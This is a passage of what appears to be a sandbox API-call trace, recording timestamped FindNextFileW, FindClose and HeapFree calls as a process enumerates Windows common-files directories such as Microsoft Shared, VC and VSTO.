	[0175.986] FindClose (in: hFindFile=0x394b538 | out: hFindFile=0x394b538) returned 1
	[0175.987] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x460efa8 | out: hHeap=0x4f0000) returned 1
	[0175.987] FindNextFileW (in: hFindFile=0x394b5f8, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f3911d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f3911d, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Providers", cAlternateFileName="PROVID~1")) returned 0
	[0175.987] FindClose (in: hFindFile=0x394b5f8 | out: hFindFile=0x394b5f8) returned 1
	[0175.987] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0175.987] FindNextFileW (in: hFindFile=0x394b6f8, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f3911d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f3911d, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Linguistics", cAlternateFileName="LINGUI~1")) returned 0
	[0175.987] FindClose (in: hFindFile=0x394b6f8 | out: hFindFile=0x394b6f8) returned 1
	[0175.987] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0175.987] FindNextFileW (in: hFindFile=0x394b978, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33ea075c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33ea075c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DC", cAlternateFileName="")) returned 0
	[0175.988] FindClose (in: hFindFile=0x394b978 | out: hFindFile=0x394b978) returned 1
	[0175.988] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45c4058 | out: hHeap=0x4f0000) returned 1
	[0175.989] FindNextFileW (in: hFindFile=0x394bc78, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33ea075c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33ea075c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Reader", cAlternateFileName="")) returned 0
	[0175.989] FindClose (in: hFindFile=0x394bc78 | out: hFindFile=0x394bc78) returned 1
	[0175.990] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45b4050 | out: hHeap=0x4f0000) returned 1
	[0175.990] FindNextFileW (in: hFindFile=0x394b5b8, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb2fbfbb9, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb2fe5e18, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb2fe5e18, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1
	[0175.993] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0175.993] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xb2fe5e18, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xbb68653c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb300c058, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Java Update", cAlternateFileName="JAVAUP~1")) returned 0
	[0175.993] FindClose (in: hFindFile=0x394bbf8 | out: hFindFile=0x394bbf8) returned 1
	[0175.993] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0175.993] FindNextFileW (in: hFindFile=0x394b5b8, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb686ce0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4a0e1ac1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Shared", cAlternateFileName="MICROS~1")) returned 1
	[0175.995] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0175.995] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9bdfed90, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x9bdfed90, ftLastWriteTime.dwHighDateTime=0x1d32794, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Ink", cAlternateFileName="")) returned 1
	[0176.015] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0176.015] FindNextFileW (in: hFindFile=0x394b978, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbb6f87c2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HWRCustomization", cAlternateFileName="HWRCUS~1")) returned 1
	[0176.015] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0176.015] FindNextFileW (in: hFindFile=0x394b978, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c391299, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6c391299, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6c391299, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x4b200, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkDiv.dll", cAlternateFileName="")) returned 1
	[0176.016] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0176.016] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a0e1ac1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a0e1ac1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a0e1ac1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSEnv", cAlternateFileName="")) returned 1
	[0176.020] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0176.020] FindNextFileW (in: hFindFile=0x394b6f8, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a0e1ac1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a0e1ac1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a0e1ac1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublicAssemblies", cAlternateFileName="PUBLIC~1")) returned 0
	[0176.020] FindClose (in: hFindFile=0x394b6f8 | out: hFindFile=0x394b6f8) returned 1
	[0176.021] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0176.021] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb76134e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7124ead2, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSInfo", cAlternateFileName="")) returned 1
	[0176.021] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0176.021] FindNextFileW (in: hFindFile=0x394b778, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47f4006c, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x16fbff39, ftLastAccessTime.dwHighDateTime=0x1d2fa0d, ftLastWriteTime.dwLowDateTime=0x47f4006c, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x52a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1
	[0176.022] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0176.022] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb7edc75, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a6c1993, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1
	[0176.025] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0176.025] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb7ef366, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TextConv", cAlternateFileName="")) returned 1
	[0176.025] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0176.025] FindNextFileW (in: hFindFile=0x394b6f8, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbb7f058c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0
	[0176.026] FindClose (in: hFindFile=0x394b6f8 | out: hFindFile=0x394b6f8) returned 1
	[0176.026] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0176.026] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbb7f130f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Triedit", cAlternateFileName="")) returned 1
	[0176.026] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0176.026] FindNextFileW (in: hFindFile=0x394bc38, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbb7f1d88, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0
	[0176.026] FindClose (in: hFindFile=0x394bc38 | out: hFindFile=0x394bc38) returned 1
	[0176.026] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0176.026] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xa0004713, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xbb85e523, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2b77ba12, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VC", cAlternateFileName="")) returned 1
	[0176.027] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0176.027] FindNextFileW (in: hFindFile=0x394b978, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6affe800, ftCreationTime.dwHighDateTime=0x1cbd078, ftLastAccessTime.dwLowDateTime=0xc8458b03, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x6affe800, ftLastWriteTime.dwHighDateTime=0x1cbd078, nFileSizeHigh=0x0, nFileSizeLow=0xc3350, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia100.dll", cAlternateFileName="")) returned 1
	[0176.027] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0176.027] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb8602cf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7124ead2, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VGX", cAlternateFileName="")) returned 1
	[0176.027] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0176.028] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3e4284c2, ftCreationTime.dwHighDateTime=0x1d32747, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTA", cAlternateFileName="")) returned 1
	[0176.035] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0176.035] FindNextFileW (in: hFindFile=0x394b7b8, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4ab761b2, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ab761b2, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ab761b2, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.VisualStudio.Tools.Office.AppInfoDocument", cAlternateFileName="MICROS~1.APP")) returned 0
	[0176.035] FindClose (in: hFindFile=0x394b7b8 | out: hFindFile=0x394b7b8) returned 1
	[0176.035] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0176.035] FindNextFileW (in: hFindFile=0x394bc38, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3e47494b, ftCreationTime.dwHighDateTime=0x1d32747, ftLastAccessTime.dwLowDateTime=0x4a7e2a6f, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a7e2a6f, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pipeline.v10.0", cAlternateFileName="PIPELI~1.0")) returned 1
	[0176.040] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0176.040] FindNextFileW (in: hFindFile=0x394baf8, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a7e2a6f, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4abc2635, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4abc2635, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AddInViews", cAlternateFileName="ADDINV~1")) returned 1
	[0176.043] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0176.043] FindNextFileW (in: hFindFile=0x394baf8, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a107d7a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a1c6876, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a1c6876, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Contracts", cAlternateFileName="CONTRA~1")) returned 1
	[0176.207] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0176.207] FindNextFileW (in: hFindFile=0x394baf8, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a74a126, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a8ed9d5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a8ed9d5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HostSideAdapters", cAlternateFileName="HOSTSI~1")) returned 1
	[0176.209] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e0050 | out: hHeap=0x4f0000) returned 1
	[0176.210] FindNextFileW (in: hFindFile=0x394baf8, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87198d61, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xe276ff4f, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x87362941, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x1fdc1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PipelineSegments.store", cAlternateFileName="PIPELI~1.STO")) returned 1
	[0176.210] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d0048 | out: hHeap=0x4f0000) returned 1
	[0176.210] FindNextFileW (in: hFindFile=0x394bc38, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x163c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOFiles.cat", cAlternateFileName="VSTOFI~1.CAT")) returned 1
	[0176.210] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0176.212] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a022e6b, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTO", cAlternateFileName="")) returned 1
	[0176.215] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0176.215] FindNextFileW (in: hFindFile=0x394b7b8, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4aebd53e, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x142e8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTOInstaller.exe", cAlternateFileName="VSTOIN~1.EXE")) returned 1
	[0176.215] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x464ffb8 | out: hHeap=0x4f0000) returned 1
	[0176.215] FindNextFileW (in: hFindFile=0x394b778, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6340300, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0x4a022e6b, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xd6340300, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x87, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActionsPane3.xsd", cAlternateFileName="ACTION~1.XSD")) returned 1
	[0176.222] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0176.222] FindNextFileW (in: hFindFile=0x394bbf8, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a022e6b, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTO", cAlternateFileName="")) returned 0
	[0176.222] FindClose (in: hFindFile=0x394bbf8 | out: hFindFile=0x394bbf8) returned 1
	[0176.234] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0176.235] FindNextFileW (in: hFindFile=0x394b5b8, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb9ebb45, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a6c1993, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1
	[0176.614] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45810c8 | out: hHeap=0x4f0000) returned 1
	[0176.615] FindNextFileW (in: hFindFile=0x394b5b8, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb9ecb1f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1
	[0176.767] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4530060 | out: hHeap=0x4f0000) returned 1
